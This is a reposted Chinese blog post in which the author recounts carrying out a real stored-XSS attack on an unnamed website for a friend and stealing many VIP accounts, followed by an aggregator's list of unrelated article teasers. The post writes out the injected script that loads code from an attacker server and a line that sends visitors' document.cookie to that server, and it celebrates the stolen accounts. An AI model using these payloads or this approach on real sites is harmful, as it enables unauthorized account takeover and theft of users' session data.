首次成功实施 XSS 攻击,盗取目标网站大量 VIP 帐号

news/2024/5/15 1:55:52/文章来源:https://blog.csdn.net/weixin_34179762/article/details/90101904

前言


之前做网站时有做代码防御 XSS(Cross Site Script) 攻击,但是却只处于了解的阶段,并不知道其中具体的原理,更别说使用了。最近有朋友要求我帮助他 Hack 一个网站,达到一定的目的。思考来思考去,最后想了一套方案,并最终成功实施。现在回想起来,整套解决方案中,其实主要就是 XSS。

(   本文不会公布目标网站地址。主要是为了交流技术,以帮助大家在 Web 开发中更好地防御 XSS。

看文章标题说得比较牛,其实我也不会去修改他们的密码,太坏的事咱可不能干。 :)   )

 

XSS 简述


关于 XSS 的讲解,网上还是比较多的,参照百度百科吧:http://baike.baidu.com/view/50325.htm。

 

攻击流程


假设我想盗取 www.Target.com 中的其他用户,并使用他们的身份来登录该站点。那么我同时还需要一个自己的服务器,假设为 www.HackHost.com。然后,使用我自己的帐号登录到 Target.com,然后在我的个人页面中提交脚本(例如在个人档案中加入一定的脚本。关于如何提交,后面再讨论。)。该脚本内容比较简单,如下:

var cb = document.createElement("script"); cb.src = "www.HackHost.com/clientHacker.js?" + new Date().getTime(); document.body.appendChild(cb);

这样,每个浏览我的个人页面的其他用户,都会自动下载 www.HackHost.com/clientHacker.js 这个 javascript 文件执行。这个文件是部署到我的 HackHost.com 服务器上的,我可以在其中加入任意的脚本。这样,当前登录的用户的整个客户端都处于这个脚本的控制当中。

接下来,可以把该用户的 cookie 通过 document.cookie 得到,然后提交到 HackHost.com。由于这里已经跨域,所以不能使用 Ajax 提交。跟刚才下载文件一样,可以拼接链接地址再下载一个新的文件就可以了。例如,下载:’www.HackHost.com/cookieGetter.ashx?c=’ + document.cookie。

而服务端接收到这个请求后,可以把 Cookie、IP、时间等记录下来。这样就可以方便我慢慢地分析每个请求。

 

所需工具


这次 Hack 涉及到的工具不多,主要是用 fiddler 分析和伪造各种 HTTP 请求。

另外,还会重用到之前秒杀的一些类库(见:《“秒杀”心得》),主要用于 .NET 环境下使用代码提交构造好的 HTTP 请求。

 

结果截图


image

好多 VIP 帐号啊。 :)

 

难点


其实 XSS 的难点在于,如何把脚本注入到目标网站中。这需要分析目标网站的输入过滤规则,然后构造不满足过滤规则而且可以最终执行的 js。这篇文章里面讲的还不错:《一只完整的XSS wrom实现流程》。

别处,用 js 并不能获取到完整的 Cookie 值,这是因为如果 Cookie 中带有 HttpOnly 标记的话,js 是不能读取的。例如,asp.net 网站的 SessionId 对应的客户端 Cookie 就是标记了 HttpOnly的。否则,我们就可以通过 js 获取到最近可用的 Session,并伪造该 Session 进行(Session 劫持)。

 

小结


总体上来说,这次的攻击是比较简单的。而且这次的目标网站对于自身的安全性确实没有做什么工作,很轻易我就把 js 注入了。另外,他们还把用户标识保存在 cookie 中,虽然标识是加密后的,但是这不影响我的使用场景。

之前做过秒杀,但是算不上 Hack,这是第一次成功 Hack,所以写这篇文章简单纪念一下。 :)

 


本文转自BloodyAngel博客园博客,原文链接:http://www.cnblogs.com/zgynhqf/archive/2012/06/30/2571344.html,如需转载请自行联系原作者

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_700741.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一步一步SharePoint 2007之十六:注册并配置一个网站用户

在前面的文章中,我已经介绍了如何创建管理帐户。创建其它帐户的方法是一样的。大家可以把这个注册系统放到自己的网站中,就可以成为网站的一部分了。本文将只讲解如何在管理工具中将用户手动加入到网站用户组中,至于如何将注册完后的用户自动…

网站锁定php文件命令,PHP文件锁定读写的一点注意_php

都说文本方式容易出现文件锁定失效等乱七八糟的问题.其实并不是失效, 而是写法有些不对.被 lock_ex 后的文件 再以read模式 fopen 的话将读到空内容!!!如果没有判断就把它作操作后再写入就出错啦....很多问题出在这里.再来补充一下如果一个文件被以write的模式fopen后并 flock(…

《社交网站界面设计(原书第2版)》——2.13 不要中断电子邮件

2.13 不要中断电子邮件 如果你将电子邮件作为广播媒介(例如,发送提醒或通知)却不让用户回复他们收到的消息,就比较差劲了。你也没理由不处理这些回复,你可以把这些回复当作通知转发给正确的收件人。这需要你在方便沟通…

在线设计网站,有了这几个网站,设计再也不用求人了

不知道从什么时候开始设计已经不是一个很高深的专业,如果你是专门学习PS专门做平面设计的那么未来靠什么吃饭,不由不觉中陷入了冥想中... 想想那些年自己上学省吃俭用去学习,到现在能用到的时候几乎没有,最多就是公司改改发票&…

Docker完整建站详介

2019独角兽企业重金招聘Python工程师标准>>> 一,在主服务器上操作:安装完成docker;略 二,查看镜像 [rootlocalhost ~]#docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE centos/shop2.web.top latest 8fc9b211671a 14…

Phpcms V9手机门户设置教程:怎么用PC V9做手机网站

一、在PHPcms V9管理后台设置手机门户 1.1、开启手机网站。位置:模块 》手机门户 》 添加手机站点,具体设置可参照截图: 填写站点名和LOGO文件相对位置,绑定用于手机网站的二级域名m.cmsyou.com,域名以http://开头。 1…

通过cookies跳过验证码登陆页面,直接访问网站的其它URL

我每次手动访问去NN网的一家酒店,就不需要登陆,一旦我用脚本打开就会让我登陆,而登陆页面又有验证码,不想识别验证码,所以就想:“通过cookies跳过验证码登陆页面,直接访问网站的其它URL”转载虫…

四个超好用的优质资源搜索网站,海量优质资源等你发现!

在网上找资源的时候总找不到满意的优质资源?今天小编把办公室大佬珍藏多年的四个超好用优质资源搜索网站分享给你,只要你想找,没有找不到的资源!一、学习资料库学习资料库中有大量的免费学习资料,学习资料涵盖多种学科…

PrestaShop 网站漏洞修复如何修复

2019独角兽企业重金招聘Python工程师标准>>> PrestaShop网站的漏洞越来越多,该网站系统是很多外贸网站在使用的一个开源系统,从之前的1.0初始版本到现在的1.7版本,经历了多次的升级,系统使用的人也越来越多&#xff0c…

RubyGems 库发现了后门版本的网站开发工具 bootstrap-sass

安全研究人员在官方的 RubyGems 库发现了后门版本的网站开发工具 bootstrap-sass。该工具的下载量高达 2800 万次,但这并不意味着下载的所有版本都存在后门,受影响的版本是 v3.2.0.3,研究人员呼吁用户尽可能快的更新,认为可能有数…

一:搭建一套免费的serverless网站

因为公司需求,需要快速搭建一个公司内部能够访问的资源查看管理的 PC网站,因为没有服务器,没有后端开发,又要快速上线使用,那么 serverless 就成了我的首选方案,下面从零开始搭建。 步骤一. 准备工作 1. …

二:serverless网站数据库操作

操作数据库API文档 第一篇,搭建一套免费的serverless网站 一,创建集合,进入控制台 登录腾讯云后台 打开云开发控制台 可以新建集合,新建集合后点击集合名称即可批量导入导出数据库集合的数据,还可以设置数据库访问的…

前端开发学习常用网站网址及介绍(都是免费的)

在开发的时候,想记住所有的单词基本是不可能的,所以就需要进入文档,只要理清需求能做出来,就很不差了!! 扫码加博主微信 1.百度,俗称度娘,有不懂的就问百度,有问必答&am…

arial unicode ms字体_5个检测商用字体和免费字体合集的网站

对于做新媒体和设计的小伙伴来说,最恐慌的就是加班、改稿、脱发、没钱...侵权问题了。一个不注意就是律师函警告。正所谓律师函不是不到,只是晚到。所以,皮皮特意为小伙伴们搜集了这5个远离字体侵权的网站,有检测字体版权的&#…

大型网站采用什么系统架构保证性能稳定性

from http://www.bobd.cn/design/web/Theory/200904/31145.html 千万级的注册用户,千万级的帖子,nTB级的附件,还有巨大的日访问量,大型网站采用什么系统架构保证性能和稳定性? 首先讨论一下大型网站需要注意和考虑的问…

『网站升级』PHPWind8.0至8.3升级过程及问题种种回顾录

上星期的PHPWind杭州峰会之后,PHPWind发布了8.3版。紧接着淘连接,淘满意,团购PHPWind的一系统ARP应用开始进入我们公司技术苦力的耳朵里(也就是偶),偶知道有大事要发生了。于是乎。领导悠然降至&#xff0c…

vs中将网站aspx.cs文件打包成一个dll

vs中将网站aspx.cs文件打包成一个dll 23小时前 vs中将网站asp.net cs文件打包成一个dll。 在vs2008以上的版本中可以建立web应用来开发网站,这样网站aspx.cs文件【生成网站】的时候就会自动生产单个dll,如果使用的是网站的话那就不能。那介绍一种微软提…

一些与算法有关的网站

//转自:http://www.cnblogs.com/a180285/archive/2012/01/15/2290290.html //------------------------------------------------------------------------------------------------------------------------------------------------------------ 我在网上到处找了…

让你的网站提速:图片优化网站推荐

页面的加载时间是每一个设计师都担心的数据,或者至少是每个设计师都应该担心的问题。图片的大小肯定是一个需要留意的问题。这就是为什么在这里写了几个有助于优化页面中的图片的小技巧,这些小技巧将有助于大家解决这个问题,这些小技巧也可以…

编程学习网站收集

目录 1. 菜鸟教程 1.1 Java 教程 1.2 HTML 教程 1.3 CSS 教程 1.4 JavaScript 教程 1.5 JSP 教程 1.6 Servlet 教程 1.7 jQuery 教程 1.8 AJAX 教程 1.9 MySQL 教程 2. 易百教程 3. w3school 在线教程 1. 菜鸟教程 菜鸟教程 (www.runoob.com) 提供了编程的基础技术…